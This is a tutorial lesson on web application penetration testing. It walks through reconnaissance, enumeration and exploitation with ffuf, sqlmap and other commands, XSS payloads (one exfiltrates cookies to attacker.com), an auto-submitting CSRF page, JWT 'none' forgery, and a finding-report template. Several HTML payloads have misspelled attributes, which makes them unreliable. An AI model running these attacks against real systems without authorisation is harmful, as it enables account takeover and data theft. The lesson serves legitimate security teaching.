Penetration testing goes beyond scanning. You actively attempt to exploit vulnerabilities, simulating how a real attacker would compromise your application. This lesson walks through a complete web application penetration test.
Penetration Testing Methodology
A structured approach ensures thorough coverage:
Phase 1: Reconnaissance ──> Gather information passively
Phase 2: Enumeration ──> Actively probe the target
Phase 3: Exploitation ──> Attempt to exploit findings
Phase 4: Post-Exploit ──> Assess impact, escalate access
Phase 5: Reporting ──> Document everythingPhase 1: Reconnaissance
Gathering information about the target without directly interacting with it.
Passive Reconnaissance
# DNS enumeration
dig target-app.com ANY
dig target-app.com MX
dig target-app.com TXT
# Subdomain discovery with subfinder
subfinder -d target-app.com -o subdomains.txt
# Check for technology stack
# Use Wappalyzer browser extension or:
whatweb https://target-app.com
# Search for exposed secrets on GitHub
# Use trufflehog or GitHub search:
# "target-app.com" password OR secret OR api_key
# Check the Wayback Machine for old endpoints
curl "https://web.archive.org/cdx/search/cdx?url=target-app.com/*&output=text&fl=original&collapse=urlkey"OSINT Gathering
# Collect email addresses associated with the domain
theHarvester -d target-app.com -b all -f harvest-report
# Check SSL certificate transparency logs
# https://crt.sh/?q=target-app.com
curl "https://crt.sh/?q=%.target-app.com&output=json" | \
jq '.[].name_value' | sort -uPhase 2: Enumeration
Active probing of the target to discover attack surfaces.
Directory and File Discovery
# Brute-force directory discovery with ffuf
ffuf -w /usr/share/wordlists/dirb/common.txt \
-u https://target-app.com/FUZZ \
-mc 200,301,302,403 \
-o directories.json
# API endpoint discovery
ffuf -w /usr/share/wordlists/api-endpoints.txt \
-u https://target-app.com/api/FUZZ \
-mc 200,401,403,405 \
-H "Content-Type: application/json"
# Common findings to look for:
# /admin - Admin panels
# /api/docs - API documentation
# /.git - Exposed git repository
# /backup - Backup files
# /wp-admin - WordPress admin
# /.env - Environment variablesAuthentication Enumeration
import requests
target = "https://target-app.com"
# Test for username enumeration via login response differences
users_to_test = ["admin", "administrator", "test", "user"]
results = []
for user in users_to_test:
response = requests.post(f"{target}/api/login", json={
"username": user,
"password": "definitely-wrong-password"
})
results.append({
"user": user,
"status": response.status_code,
"length": len(response.text),
"time": response.elapsed.total_seconds()
})
# Compare response lengths and times
# Different lengths or times indicate the user exists
for r in results:
print(f"User: {r['user']:20s} Status: {r['status']} "
f"Length: {r['length']} Time: {r['time']:.3f}s")Phase 3: Exploitation
Now you attempt to exploit discovered vulnerabilities.
Cross-Site Scripting (XSS)
// Reflected XSS payloads to test in input fields and URL parameters
const xssPayloads = [
// Basic alert
'<script>alert("XSS")</script>',
// Event handler based
'<img sr=x onerro=alert("XSS")>',
// SVG based
'<svg onloa=alert("XSS")>',
// Bypassing basic filters
'<ScRiPt>alert("XSS")</ScRiPt>',
'<img sr=x onerro="alert(String.fromCharCode(88,83,83))">',
// DOM-based XSS (check in browser console)
'javascript:alert("XSS")',
// Stored XSS in user profile fields
'"><script>document.location="https://attacker.com/steal?c="+document.cookie</script>',
];
// If any payload executes, the application is vulnerable
// For stored XSS, the payload persists and affects other users
Cross-Site Request Forgery (CSRF)
<!-- Create a malicious page that performs actions on behalf of a logged-in user -->
<!DOCTYPE html>
<html>
<body>
<h1>You won a prize!</h1>
<!-- Hidden form that changes the user's email -->
<form i="csrf-form" actio="https://target-app.com/api/settings" metho="POST" styl="display:none">
<input typ="hidden" nam="email" valu="attacker@evil.com" />
</form>
<script>
// Auto-submit when the victim visits this page
document.getElementById('csrf-form').submit();
</script>
</body>
</html>
<!-- If the target app does not verify a CSRF token,
this form will change the victim's email address -->Authentication Bypass
# JWT token manipulation
# 1. Decode the JWT (base64)
echo "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoiam9obiIsInJvbGUiOiJ1c2VyIn0.signature" | \
cut -d '.' -f 2 | base64 -d
# Output: {"user":"john","role":"user"}
# 2. Try changing the algorithm to "none"
# Header: {"alg":"none","typ":"JWT"}
# Payload: {"user":"john","role":"admin"}
# 3. Try with a blank signature
# eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJ1c2VyIjoiam9obiIsInJvbGUiOiJhZG1pbiJ9.
curl -H "Authorization: Bearer eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJ1c2VyIjoiam9obiIsInJvbGUiOiJhZG1pbiJ9." \
https://target-app.com/api/admin/users
SQL Injection Exploitation
# Using sqlmap for automated SQL injection
sqlmap -u "https://target-app.com/products?id=1" \
--dbs \
--batch \
--risk=2 \
--level=3
# Extract database tables
sqlmap -u "https://target-app.com/products?id=1" \
-D target_db \
--tables \
--batch
# Extract specific data
sqlmap -u "https://target-app.com/products?id=1" \
-D target_db \
-T users \
--dump \
--batchPhase 4: Post-Exploitation
After successful exploitation, assess the full impact.
Post-Exploitation Checklist:
[ ] What data can you access?
[ ] Can you escalate privileges?
[ ] Can you move laterally to other systems?
[ ] Can you persist your access?
[ ] What is the blast radius of this vulnerability?Phase 5: Reporting
A penetration test is only valuable if the findings are clearly documented.
Finding Report Template:
Title: Stored XSS in User Profile Bio
Severity: High (CVSS 8.1)
OWASP Category: A03 - Injection
Description:
The user profile biography field does not sanitize HTML input,
allowing an attacker to inject arbitrary JavaScript that executes
when any user views the profile.
Steps to Reproduce:
1. Log in as any user
2. Navigate to Profile > Edit
3. In the Bio field, enter: <img src=x onerror=alert(document.cookie)>
4. Save the profile
5. View the profile in another browser session
6. The JavaScript executes, displaying the viewer's cookies
Impact:
An attacker can steal session tokens from any user who views
the malicious profile, leading to full account takeover.
Proof of Concept:
[Screenshot showing the alert with cookie data]
Remediation:
1. Implement output encoding for all user-generated content
2. Use a Content Security Policy to prevent inline script execution
3. Sanitize HTML input using a library like DOMPurify
Key Takeaways
- Follow a structured methodology: recon, enumeration, exploitation, post-exploitation, reporting
- Passive reconnaissance first -- you learn a lot before touching the target
- Automated tools like sqlmap and ffuf accelerate testing but require human judgment
- Always document findings with clear reproduction steps
- The report is the deliverable -- a test without a report has no value
In the final lesson, you will learn how to automate security testing into your CI/CD pipeline for continuous protection.